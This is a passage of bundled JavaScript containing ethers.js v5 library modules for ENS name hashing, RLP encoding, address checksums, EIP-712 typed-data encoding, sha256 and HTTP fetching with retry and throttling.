continue;\n }\n if (IGNORED.has(cp)) {\n continue;\n }\n let cps = MAPPED[cp];\n if (cps) {\n output.push(...cps);\n continue;\n }\n throw new Error(`Disallowed codepoint: 0x${cp.toString(16).toUpperCase()}`);\n }\n return ens_normalize_post_check(nfc(String.fromCodePoint(...output)));\n}\nfunction nfc(s) {\n return s.normalize(\"NFC\");\n}\nfunction consume_emoji_reversed(cps, eaten) {\n var _a;\n let node = EMOJI_ROOT;\n let emoji;\n let saved;\n let stack = [];\n let pos = cps.length;\n if (eaten)\n eaten.length = 0;\n while (pos) {\n let cp = cps[--pos];\n node = (_a = node.branches.find((x) => x.set.has(cp))) === null || _a === void 0 ? void 0 : _a.node;\n if (!node)\n break;\n if (node.save) {\n saved = cp;\n } else if (node.check) {\n if (cp === saved)\n break;\n }\n stack.push(cp);\n if (node.fe0f) {\n stack.push(65039);\n if (pos > 0 && cps[pos - 1] == 65039)\n pos--;\n }\n if (node.valid) {\n emoji = stack.slice();\n if (node.valid == 2)\n emoji.splice(1, 1);\n if (eaten)\n eaten.push(...cps.slice(pos).reverse());\n cps.length = pos;\n }\n }\n return emoji;\n}\n\n// node_modules/@ethersproject/hash/lib.esm/namehash.js\nvar logger7 = new Logger(version8);\nvar Zeros = new Uint8Array(32);\nZeros.fill(0);\nfunction checkComponent(comp) {\n if (comp.length === 0) {\n throw new Error(\"invalid ENS name; empty component\");\n }\n return comp;\n}\nfunction ensNameSplit(name) {\n const bytes = toUtf8Bytes(ens_normalize(name));\n const comps = [];\n if (name.length === 0) {\n return comps;\n }\n let last = 0;\n for (let i = 0; i < bytes.length; i++) {\n const d = bytes[i];\n if (d === 46) {\n comps.push(checkComponent(bytes.slice(last, i)));\n last = i + 1;\n }\n }\n if (last >= bytes.length) {\n throw new Error(\"invalid ENS name; empty component\");\n }\n comps.push(checkComponent(bytes.slice(last)));\n return comps;\n}\nfunction namehash(name) {\n if (typeof name !== \"string\") {\n logger7.throwArgumentError(\"invalid ENS name; not a string\", \"name\", name);\n }\n let result = Zeros;\n const comps = ensNameSplit(name);\n while (comps.length) {\n result = keccak256(concat([result, keccak256(comps.pop())]));\n }\n return hexlify(result);\n}\nfunction dnsEncode(name) {\n return hexlify(concat(ensNameSplit(name).map((comp) => {\n if (comp.length > 63) {\n throw new Error(\"invalid DNS encoded entry; length exceeds 63 bytes\");\n }\n const bytes = new Uint8Array(comp.length + 1);\n bytes.set(comp, 1);\n bytes[0] = bytes.length - 1;\n return bytes;\n }))) + \"00\";\n}\n\n// node_modules/@ethersproject/hash/lib.esm/typed-data.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/address/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/rlp/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/rlp/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version9 = \"rlp/5.7.0\";\n\n// node_modules/@ethersproject/rlp/lib.esm/index.js\nvar logger8 = new Logger(version9);\nfunction arrayifyInteger(value) {\n const result = [];\n while (value) {\n result.unshift(value & 255);\n value >>= 8;\n }\n return result;\n}\nfunction unarrayifyInteger(data, offset, length) {\n let result = 0;\n for (let i = 0; i < length; i++) {\n result = result * 256 + data[offset + i];\n }\n return result;\n}\nfunction _encode(object) {\n if (Array.isArray(object)) {\n let payload = [];\n object.forEach(function(child) {\n payload = payload.concat(_encode(child));\n });\n if (payload.length <= 55) {\n payload.unshift(192 + payload.length);\n return payload;\n }\n const length2 = arrayifyInteger(payload.length);\n length2.unshift(247 + length2.length);\n return length2.concat(payload);\n }\n if (!isBytesLike(object)) {\n logger8.throwArgumentError(\"RLP object must be BytesLike\", \"object\", object);\n }\n const data = Array.prototype.slice.call(arrayify(object));\n if (data.length === 1 && data[0] <= 127) {\n return data;\n } else if (data.length <= 55) {\n data.unshift(128 + data.length);\n return data;\n }\n const length = arrayifyInteger(data.length);\n length.unshift(183 + length.length);\n return length.concat(data);\n}\nfunction encode2(object) {\n return hexlify(_encode(object));\n}\nfunction _decodeChildren(data, offset, childOffset, length) {\n const result = [];\n while (childOffset < offset + 1 + length) {\n const decoded = _decode(data, childOffset);\n result.push(decoded.result);\n childOffset += decoded.consumed;\n if (childOffset > offset + 1 + length) {\n logger8.throwError(\"child data too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n }\n return { consumed: 1 + length, result };\n}\nfunction _decode(data, offset) {\n if (data.length === 0) {\n logger8.throwError(\"data too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n if (data[offset] >= 248) {\n const lengthLength = data[offset] - 247;\n if (offset + 1 + lengthLength > data.length) {\n logger8.throwError(\"data short segment too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n if (offset + 1 + lengthLength + length > data.length) {\n logger8.throwError(\"data long segment too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length);\n } else if (data[offset] >= 192) {\n const length = data[offset] - 192;\n if (offset + 1 + length > data.length) {\n logger8.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n return _decodeChildren(data, offset, offset + 1, length);\n } else if (data[offset] >= 184) {\n const lengthLength = data[offset] - 183;\n if (offset + 1 + lengthLength > data.length) {\n logger8.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n if (offset + 1 + lengthLength + length > data.length) {\n logger8.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length));\n return { consumed: 1 + lengthLength + length, result };\n } else if (data[offset] >= 128) {\n const length = data[offset] - 128;\n if (offset + 1 + length > data.length) {\n logger8.throwError(\"data too short\", Logger.errors.BUFFER_OVERRUN, {});\n }\n const result = hexlify(data.slice(offset + 1, offset + 1 + length));\n return { consumed: 1 + length, result };\n }\n return { consumed: 1, result: hexlify(data[offset]) };\n}\nfunction decode2(data) {\n const bytes = arrayify(data);\n const decoded = _decode(bytes, 0);\n if (decoded.consumed !== bytes.length) {\n logger8.throwArgumentError(\"invalid rlp data\", \"data\", data);\n }\n return decoded.result;\n}\n\n// node_modules/@ethersproject/address/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version10 = \"address/5.7.0\";\n\n// node_modules/@ethersproject/address/lib.esm/index.js\nvar logger9 = new Logger(version10);\nfunction getChecksumAddress(address) {\n if (!isHexString(address, 20)) {\n logger9.throwArgumentError(\"invalid address\", \"address\", address);\n }\n address = address.toLowerCase();\n const chars = address.substring(2).split(\"\");\n const expanded = new Uint8Array(40);\n for (let i = 0; i < 40; i++) {\n expanded[i] = chars[i].charCodeAt(0);\n }\n const hashed = arrayify(keccak256(expanded));\n for (let i = 0; i < 40; i += 2) {\n if (hashed[i >> 1] >> 4 >= 8) {\n chars[i] = chars[i].toUpperCase();\n }\n if ((hashed[i >> 1] & 15) >= 8) {\n chars[i + 1] = chars[i + 1].toUpperCase();\n }\n }\n return \"0x\" + chars.join(\"\");\n}\nvar MAX_SAFE_INTEGER = 9007199254740991;\nfunction log10(x) {\n if (Math.log10) {\n return Math.log10(x);\n }\n return Math.log(x) / Math.LN10;\n}\nvar ibanLookup = {};\nfor (let i = 0; i < 10; i++) {\n ibanLookup[String(i)] = String(i);\n}\nfor (let i = 0; i < 26; i++) {\n ibanLookup[String.fromCharCode(65 + i)] = String(10 + i);\n}\nvar safeDigits = Math.floor(log10(MAX_SAFE_INTEGER));\nfunction ibanChecksum(address) {\n address = address.toUpperCase();\n address = address.substring(4) + address.substring(0, 2) + \"00\";\n let expanded = address.split(\"\").map((c) => {\n return ibanLookup[c];\n }).join(\"\");\n while (expanded.length >= safeDigits) {\n let block = expanded.substring(0, safeDigits);\n expanded = parseInt(block, 10) % 97 + expanded.substring(block.length);\n }\n let checksum = String(98 - parseInt(expanded, 10) % 97);\n while (checksum.length < 2) {\n checksum = \"0\" + checksum;\n }\n return checksum;\n}\nfunction getAddress(address) {\n let result = null;\n if (typeof address !== \"string\") {\n logger9.throwArgumentError(\"invalid address\", \"address\", address);\n }\n if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) {\n if (address.substring(0, 2) !== \"0x\") {\n address = \"0x\" + address;\n }\n result = getChecksumAddress(address);\n if (address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && result !== address) {\n logger9.throwArgumentError(\"bad address checksum\", \"address\", address);\n }\n } else if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {\n if (address.substring(2, 4) !== ibanChecksum(address)) {\n logger9.throwArgumentError(\"bad icap checksum\", \"address\", address);\n }\n result = _base36To16(address.substring(4));\n while (result.length < 40) {\n result = \"0\" + result;\n }\n result = getChecksumAddress(\"0x\" + result);\n } else {\n logger9.throwArgumentError(\"invalid address\", \"address\", address);\n }\n return result;\n}\nfunction getContractAddress(transaction) {\n let from = null;\n try {\n from = getAddress(transaction.from);\n } catch (error) {\n logger9.throwArgumentError(\"missing from address\", \"transaction\", transaction);\n }\n const nonce = stripZeros(arrayify(BigNumber.from(transaction.nonce).toHexString()));\n return getAddress(hexDataSlice(keccak256(encode2([from, nonce])), 12));\n}\n\n// node_modules/@ethersproject/hash/lib.esm/typed-data.js\nvar __awaiter3 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger10 = new Logger(version8);\nvar padding = new Uint8Array(32);\npadding.fill(0);\nvar NegativeOne2 = BigNumber.from(-1);\nvar Zero2 = BigNumber.from(0);\nvar One2 = BigNumber.from(1);\nvar MaxUint2562 = BigNumber.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\nfunction hexPadRight(value) {\n const bytes = arrayify(value);\n const padOffset = bytes.length % 32;\n if (padOffset) {\n return hexConcat([bytes, padding.slice(padOffset)]);\n }\n return hexlify(bytes);\n}\nvar hexTrue = hexZeroPad(One2.toHexString(), 32);\nvar hexFalse = hexZeroPad(Zero2.toHexString(), 32);\nvar domainFieldTypes = {\n name: \"string\",\n version: \"string\",\n chainId: \"uint256\",\n verifyingContract: \"address\",\n salt: \"bytes32\"\n};\nvar domainFieldNames = [\n \"name\",\n \"version\",\n \"chainId\",\n \"verifyingContract\",\n \"salt\"\n];\nfunction checkString(key2) {\n return function(value) {\n if (typeof value !== \"string\") {\n logger10.throwArgumentError(`invalid domain value for ${JSON.stringify(key2)}`, `domain.${key2}`, value);\n }\n return value;\n };\n}\nvar domainChecks = {\n name: checkString(\"name\"),\n version: checkString(\"version\"),\n chainId: function(value) {\n try {\n return BigNumber.from(value).toString();\n } catch (error) {\n }\n return logger10.throwArgumentError(`invalid domain value for \"chainId\"`, \"domain.chainId\", value);\n },\n verifyingContract: function(value) {\n try {\n return getAddress(value).toLowerCase();\n } catch (error) {\n }\n return logger10.throwArgumentError(`invalid domain value \"verifyingContract\"`, \"domain.verifyingContract\", value);\n },\n salt: function(value) {\n try {\n const bytes = arrayify(value);\n if (bytes.length !== 32) {\n throw new Error(\"bad length\");\n }\n return hexlify(bytes);\n } catch (error) {\n }\n return logger10.throwArgumentError(`invalid domain value \"salt\"`, \"domain.salt\", value);\n }\n};\nfunction getBaseEncoder(type) {\n {\n const match = type.match(/^(u?)int(\\d*)$/);\n if (match) {\n const signed2 = match[1] === \"\";\n const width = parseInt(match[2] || \"256\");\n if (width % 8 !== 0 || width > 256 || match[2] && match[2] !== String(width)) {\n logger10.throwArgumentError(\"invalid numeric width\", \"type\", type);\n }\n const boundsUpper = MaxUint2562.mask(signed2 ? width - 1 : width);\n const boundsLower = signed2 ? boundsUpper.add(One2).mul(NegativeOne2) : Zero2;\n return function(value) {\n const v = BigNumber.from(value);\n if (v.lt(boundsLower) || v.gt(boundsUpper)) {\n logger10.throwArgumentError(`value out-of-bounds for ${type}`, \"value\", value);\n }\n return hexZeroPad(v.toTwos(256).toHexString(), 32);\n };\n }\n }\n {\n const match = type.match(/^bytes(\\d+)$/);\n if (match) {\n const width = parseInt(match[1]);\n if (width === 0 || width > 32 || match[1] !== String(width)) {\n logger10.throwArgumentError(\"invalid bytes width\", \"type\", type);\n }\n return function(value) {\n const bytes = arrayify(value);\n if (bytes.length !== width) {\n logger10.throwArgumentError(`invalid length for ${type}`, \"value\", value);\n }\n return hexPadRight(value);\n };\n }\n }\n switch (type) {\n case \"address\":\n return function(value) {\n return hexZeroPad(getAddress(value), 32);\n };\n case \"bool\":\n return function(value) {\n return !value ? hexFalse : hexTrue;\n };\n case \"bytes\":\n return function(value) {\n return keccak256(value);\n };\n case \"string\":\n return function(value) {\n return id(value);\n };\n }\n return null;\n}\nfunction encodeType(name, fields) {\n return `${name}(${fields.map(({ name: name2, type }) => type + \" \" + name2).join(\",\")})`;\n}\nvar TypedDataEncoder = class _TypedDataEncoder {\n constructor(types) {\n defineReadOnly(this, \"types\", Object.freeze(deepCopy(types)));\n defineReadOnly(this, \"_encoderCache\", {});\n defineReadOnly(this, \"_types\", {});\n const links = {};\n const parents = {};\n const subtypes = {};\n Object.keys(types).forEach((type) => {\n links[type] = {};\n parents[type] = [];\n subtypes[type] = {};\n });\n for (const name in types) {\n const uniqueNames = {};\n types[name].forEach((field) => {\n if (uniqueNames[field.name]) {\n logger10.throwArgumentError(`duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, \"types\", types);\n }\n uniqueNames[field.name] = true;\n const baseType = field.type.match(/^([^\\x5b]*)(\\x5b|$)/)[1];\n if (baseType === name) {\n logger10.throwArgumentError(`circular type reference to ${JSON.stringify(baseType)}`, \"types\", types);\n }\n const encoder = getBaseEncoder(baseType);\n if (encoder) {\n return;\n }\n if (!parents[baseType]) {\n logger10.throwArgumentError(`unknown type ${JSON.stringify(baseType)}`, \"types\", types);\n }\n parents[baseType].push(name);\n links[name][baseType] = true;\n });\n }\n const primaryTypes = Object.keys(parents).filter((n) => parents[n].length === 0);\n if (primaryTypes.length === 0) {\n logger10.throwArgumentError(\"missing primary type\", \"types\", types);\n } else if (primaryTypes.length > 1) {\n logger10.throwArgumentError(`ambiguous primary types or unused types: ${primaryTypes.map((t) => JSON.stringify(t)).join(\", \")}`, \"types\", types);\n }\n defineReadOnly(this, \"primaryType\", primaryTypes[0]);\n function checkCircular(type, found) {\n if (found[type]) {\n logger10.throwArgumentError(`circular type reference to ${JSON.stringify(type)}`, \"types\", types);\n }\n found[type] = true;\n Object.keys(links[type]).forEach((child) => {\n if (!parents[child]) {\n return;\n }\n checkCircular(child, found);\n Object.keys(found).forEach((subtype) => {\n subtypes[subtype][child] = true;\n });\n });\n delete found[type];\n }\n checkCircular(this.primaryType, {});\n for (const name in subtypes) {\n const st = Object.keys(subtypes[name]);\n st.sort();\n this._types[name] = encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join(\"\");\n }\n }\n getEncoder(type) {\n let encoder = this._encoderCache[type];\n if (!encoder) {\n encoder = this._encoderCache[type] = this._getEncoder(type);\n }\n return encoder;\n }\n _getEncoder(type) {\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return encoder;\n }\n }\n const match = type.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n const subtype = match[1];\n const subEncoder = this.getEncoder(subtype);\n const length = parseInt(match[3]);\n return (value) => {\n if (length >= 0 && value.length !== length) {\n logger10.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\", \"value\", value);\n }\n let result = value.map(subEncoder);\n if (this._types[subtype]) {\n result = result.map(keccak256);\n }\n return keccak256(hexConcat(result));\n };\n }\n const fields = this.types[type];\n if (fields) {\n const encodedType = id(this._types[type]);\n return (value) => {\n const values = fields.map(({ name, type: type2 }) => {\n const result = this.getEncoder(type2)(value[name]);\n if (this._types[type2]) {\n return keccak256(result);\n }\n return result;\n });\n values.unshift(encodedType);\n return hexConcat(values);\n };\n }\n return logger10.throwArgumentError(`unknown type: ${type}`, \"type\", type);\n }\n encodeType(name) {\n const result = this._types[name];\n if (!result) {\n logger10.throwArgumentError(`unknown type: ${JSON.stringify(name)}`, \"name\", name);\n }\n return result;\n }\n encodeData(type, value) {\n return this.getEncoder(type)(value);\n }\n hashStruct(name, value) {\n return keccak256(this.encodeData(name, value));\n }\n encode(value) {\n return this.encodeData(this.primaryType, value);\n }\n hash(value) {\n return this.hashStruct(this.primaryType, value);\n }\n _visit(type, value, callback) {\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return callback(type, value);\n }\n }\n const match = type.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n const subtype = match[1];\n const length = parseInt(match[3]);\n if (length >= 0 && value.length !== length) {\n logger10.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\", \"value\", value);\n }\n return value.map((v) => this._visit(subtype, v, callback));\n }\n const fields = this.types[type];\n if (fields) {\n return fields.reduce((accum, { name, type: type2 }) => {\n accum[name] = this._visit(type2, value[name], callback);\n return accum;\n }, {});\n }\n return logger10.throwArgumentError(`unknown type: ${type}`, \"type\", type);\n }\n visit(value, callback) {\n return this._visit(this.primaryType, value, callback);\n }\n static from(types) {\n return new _TypedDataEncoder(types);\n }\n static getPrimaryType(types) {\n return _TypedDataEncoder.from(types).primaryType;\n }\n static hashStruct(name, types, value) {\n return _TypedDataEncoder.from(types).hashStruct(name, value);\n }\n static hashDomain(domain) {\n const domainFields = [];\n for (const name in domain) {\n const type = domainFieldTypes[name];\n if (!type) {\n logger10.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(name)}`, \"domain\", domain);\n }\n domainFields.push({ name, type });\n }\n domainFields.sort((a, b) => {\n return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name);\n });\n return _TypedDataEncoder.hashStruct(\"EIP712Domain\", { EIP712Domain: domainFields }, domain);\n }\n static encode(domain, types, value) {\n return hexConcat([\n \"0x1901\",\n _TypedDataEncoder.hashDomain(domain),\n _TypedDataEncoder.from(types).hash(value)\n ]);\n }\n static hash(domain, types, value) {\n return keccak256(_TypedDataEncoder.encode(domain, types, value));\n }\n // Replaces all address types with ENS names with their looked up address\n static resolveNames(domain, types, value, resolveName) {\n return __awaiter3(this, void 0, void 0, function* () {\n domain = shallowCopy(domain);\n const ensCache = {};\n if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) {\n ensCache[domain.verifyingContract] = \"0x\";\n }\n const encoder = _TypedDataEncoder.from(types);\n encoder.visit(value, (type, value2) => {\n if (type === \"address\" && !isHexString(value2, 20)) {\n ensCache[value2] = \"0x\";\n }\n return value2;\n });\n for (const name in ensCache) {\n ensCache[name] = yield resolveName(name);\n }\n if (domain.verifyingContract && ensCache[domain.verifyingContract]) {\n domain.verifyingContract = ensCache[domain.verifyingContract];\n }\n value = encoder.visit(value, (type, value2) => {\n if (type === \"address\" && ensCache[value2]) {\n return ensCache[value2];\n }\n return value2;\n });\n return { domain, value };\n });\n }\n static getPayload(domain, types, value) {\n _TypedDataEncoder.hashDomain(domain);\n const domainValues = {};\n const domainTypes = [];\n domainFieldNames.forEach((name) => {\n const value2 = domain[name];\n if (value2 == null) {\n return;\n }\n domainValues[name] = domainChecks[name](value2);\n domainTypes.push({ name, type: domainFieldTypes[name] });\n });\n const encoder = _TypedDataEncoder.from(types);\n const typesWithDomain = shallowCopy(types);\n if (typesWithDomain.EIP712Domain) {\n logger10.throwArgumentError(\"types must not contain EIP712Domain type\", \"types.EIP712Domain\", types);\n } else {\n typesWithDomain.EIP712Domain = domainTypes;\n }\n encoder.encode(value);\n return {\n types: typesWithDomain,\n domain: domainValues,\n primaryType: encoder.primaryType,\n message: encoder.visit(value, (type, value2) => {\n if (type.match(/^bytes(\\d*)/)) {\n return hexlify(arrayify(value2));\n }\n if (type.match(/^u?int/)) {\n return BigNumber.from(value2).toString();\n }\n switch (type) {\n case \"address\":\n return value2.toLowerCase();\n case \"bool\":\n return !!value2;\n case \"string\":\n if (typeof value2 !== \"string\") {\n logger10.throwArgumentError(`invalid string`, \"value\", value2);\n }\n return value2;\n }\n return logger10.throwArgumentError(\"unsupported type\", \"type\", type);\n })\n };\n }\n};\n\n// node_modules/@ethersproject/sha2/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/sha2/lib.esm/sha2.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar import_hash = __toESM(require_hash());\n\n// node_modules/@ethersproject/sha2/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version11 = \"sha2/5.7.0\";\n\n// node_modules/@ethersproject/sha2/lib.esm/sha2.js\nvar logger11 = new Logger(version11);\nfunction sha256(data) {\n return \"0x\" + import_hash.default.sha256().update(arrayify(data)).digest(\"hex\");\n}\n\n// node_modules/@ethersproject/web/lib.esm/index.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\n\n// node_modules/@ethersproject/web/lib.esm/_version.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar version12 = \"web/5.7.1\";\n\n// node_modules/@ethersproject/web/lib.esm/geturl.js\ninit_define_chainIDList();\ninit_define_extraRpcs();\nvar __awaiter4 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nfunction getUrl(href, options) {\n return __awaiter4(this, void 0, void 0, function* () {\n if (options == null) {\n options = {};\n }\n const request = {\n method: options.method || \"GET\",\n headers: options.headers || {},\n body: options.body || void 0\n };\n if (options.skipFetchSetup !== true) {\n request.mode = \"cors\";\n request.cache = \"no-cache\";\n request.credentials = \"same-origin\";\n request.redirect = \"follow\";\n request.referrer = \"client\";\n }\n ;\n if (options.fetchOptions != null) {\n const opts = options.fetchOptions;\n if (opts.mode) {\n request.mode = opts.mode;\n }\n if (opts.cache) {\n request.cache = opts.cache;\n }\n if (opts.credentials) {\n request.credentials = opts.credentials;\n }\n if (opts.redirect) {\n request.redirect = opts.redirect;\n }\n if (opts.referrer) {\n request.referrer = opts.referrer;\n }\n }\n const response = yield fetch(href, request);\n const body = yield response.arrayBuffer();\n const headers = {};\n if (response.headers.forEach) {\n response.headers.forEach((value, key2) => {\n headers[key2.toLowerCase()] = value;\n });\n } else {\n response.headers.keys().forEach((key2) => {\n headers[key2.toLowerCase()] = response.headers.get(key2);\n });\n }\n return {\n headers,\n statusCode: response.status,\n statusMessage: response.statusText,\n body: arrayify(new Uint8Array(body))\n };\n });\n}\n\n// node_modules/@ethersproject/web/lib.esm/index.js\nvar __awaiter5 = function(thisArg, _arguments, P, generator) {\n function adopt(value) {\n return value instanceof P ? value : new P(function(resolve) {\n resolve(value);\n });\n }\n return new (P || (P = Promise))(function(resolve, reject) {\n function fulfilled(value) {\n try {\n step(generator.next(value));\n } catch (e) {\n reject(e);\n }\n }\n function rejected(value) {\n try {\n step(generator[\"throw\"](value));\n } catch (e) {\n reject(e);\n }\n }\n function step(result) {\n result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected);\n }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n};\nvar logger12 = new Logger(version12);\nfunction staller(duration) {\n return new Promise((resolve) => {\n setTimeout(resolve, duration);\n });\n}\nfunction bodyify(value, type) {\n if (value == null) {\n return null;\n }\n if (typeof value === \"string\") {\n return value;\n }\n if (isBytesLike(value)) {\n if (type && (type.split(\"/\")[0] === \"text\" || type.split(\";\")[0].trim() === \"application/json\")) {\n try {\n return toUtf8String(value);\n } catch (error) {\n }\n ;\n }\n return hexlify(value);\n }\n return value;\n}\nfunction unpercent(value) {\n return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all3, code) => {\n return String.fromCharCode(parseInt(code, 16));\n }));\n}\nfunction _fetchData(connection, body, processFunc) {\n const attemptLimit = typeof connection === \"object\" && connection.throttleLimit != null ? connection.throttleLimit : 12;\n logger12.assertArgument(attemptLimit > 0 && attemptLimit % 1 === 0, \"invalid connection throttle limit\", \"connection.throttleLimit\", attemptLimit);\n const throttleCallback = typeof connection === \"object\" ? connection.throttleCallback : null;\n const throttleSlotInterval = typeof connection === \"object\" && typeof connection.throttleSlotInterval === \"number\" ? connection.throttleSlotInterval : 100;\n logger12.assertArgument(throttleSlotInterval > 0 && throttleSlotInterval % 1 === 0, \"invalid connection throttle slot interval\", \"connection.throttleSlotInterval\", throttleSlotInterval);\n const errorPassThrough = typeof connection === \"object\" ? !!connection.errorPassThrough : false;\n const headers = {};\n let url = null;\n const options = {\n method: \"GET\"\n };\n let allow304 = false;\n let timeout = 2 * 60 * 1e3;\n if (typeof connection === \"string\") {\n url = connection;\n } else if (typeof connection === \"object\") {\n if (connection == null || connection.url == null) {\n logger12.throwArgumentError(\"missing URL\", \"connection.url\", connection);\n }\n url = connection.url;\n if (typeof connection.timeout === \"number\" && connection.timeout > 0) {\n timeout = connection.timeout;\n }\n if (connection.headers) {\n for (const key2 in connection.headers) {\n headers[key2.toLowerCase()] = { key: key2, value: String(connection.headers[key2]) };\n if ([\"if-none-match\", \"if-modified-since\"].indexOf(key2.toLowerCase()) >= 0) {\n allow304 = true;\n }\n }\n }\n options.allowGzip = !!connection.allowGzip;\n if (connection.user != null && connection.password != null) {\n if (url.substring(0, 6) !== \"https:\" && connection.allowInsecureAuthentication !== true) {\n logger12.throwError(\"basic authentication requires a secure https url\", Logger.errors.INVALID_ARGUMENT, { argument: \"url\", url, user: connection.user, password: \"[REDACTED]\" });\n }\n const authorization = connection.user + \":\" + connection.password;\n headers[\"authorization\"] = {\n key: \"Authorization\",\n value: \"Basic \" + encode(toUtf8Bytes(authorization))\n };\n }\n if (connection.skipFetchSetup != null) {\n options.skipFetchSetup = !!connection.skipFetchSetup;\n }\n if (connection.fetchOptions != null) {\n options.fetchOptions = shallowCopy(connection.fetchOptions);\n }\n }\n const reData = new RegExp(\"^data:([^;:]*)?(;base64)?,(.*)$\", \"i\");\n const dataMatch = url ? url.match(reData) : null;\n if (dataMatch) {\n try {\n const response = {\n statusCode: 200,\n statusMessage: \"OK\",\n headers: { \"content-type\": dataMatch[1] || \"text/plain\" },\n body: dataMatch[2] ? decode(dataMatch[3]) : unpercent(dataMatch[3])\n };\n let result = response.body;\n if (processFunc) {\n result = processFunc(response.body, response);\n }\n return Promise.resolve(result);\n } catch (error) {\n logger12.throwError(\"processing response error\", Logger.errors.SERVER_ERROR, {\n body: bodyify(dataMatch[1], dataMatch[2]),\n error,\n requestBody: null,\n requestMethod: \"GET\",\n url\n });\n }\n }\n if (body) {\n options.method = \"POST\";\n options.body = body;\n if (headers[\"content-type\"] == null) {\n headers[\"content-type\"] = { key: \"Content-Type\", value: \"application/octet-stream\" };\n }\n if (headers[\"content-length\"] == null) {\n headers[\"content-length\"] = { key: \"Content-Length\", value: String(body.length) };\n }\n }\n const flatHeaders = {};\n Object.keys(headers).forEach((key2) => {\n const header = headers[key2];\n flatHeaders[header.key] = header.value;\n });\n options.headers = flatHeaders;\n const runningTimeout = function() {\n let timer2 = null;\n const promise = new Promise(function(resolve, reject) {\n if (timeout) {\n timer2 = setTimeout(() => {\n if (timer2 == null) {\n return;\n }\n timer2 = null;\n reject(logger12.makeError(\"timeout\", Logger.errors.TIMEOUT, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n timeout,\n url\n }));\n }, timeout);\n }\n });\n const cancel = function() {\n if (timer2 == null) {\n return;\n }\n clearTimeout(timer2);\n timer2 = null;\n };\n return { promise, cancel };\n }();\n const runningFetch = function() {\n return __awaiter5(this, void 0, void 0, function* () {\n for (let attempt = 0; attempt < attemptLimit; attempt++) {\n let response = null;\n try {\n response = yield getUrl(url, options);\n if (attempt < attemptLimit) {\n if (response.statusCode === 301 || response.statusCode === 302) {\n const location = response.headers.location || \"\";\n if (options.method === \"GET\" && location.match(/^https:/)) {\n url = response.headers.location;\n continue;\n }\n } else if (response.statusCode === 429) {\n let tryAgain = true;\n if (throttleCallback) {\n tryAgain = yield throttleCallback(attempt, url);\n }\n if (tryAgain) {\n let stall2 = 0;\n const retryAfter = response.headers[\"retry-after\"];\n if (typeof retryAfter === \"string\" && retryAfter.match(/^[1-9][0-9]*$/)) {\n stall2 = parseInt(retryAfter) * 1e3;\n } else {\n stall2 = throttleSlotInterval * parseInt(String(Math.random() * Math.pow(2, attempt)));\n }\n yield staller(stall2);\n continue;\n }\n }\n }\n } catch (error) {\n response = error.response;\n if (response == null) {\n runningTimeout.cancel();\n logger12.throwError(\"missing response\", Logger.errors.SERVER_ERROR, {\n requestBody: bodyify(options.body, flatHeaders[\"content-type\"]),\n requestMethod: options.method,\n serverError: error,\n url\n });\n 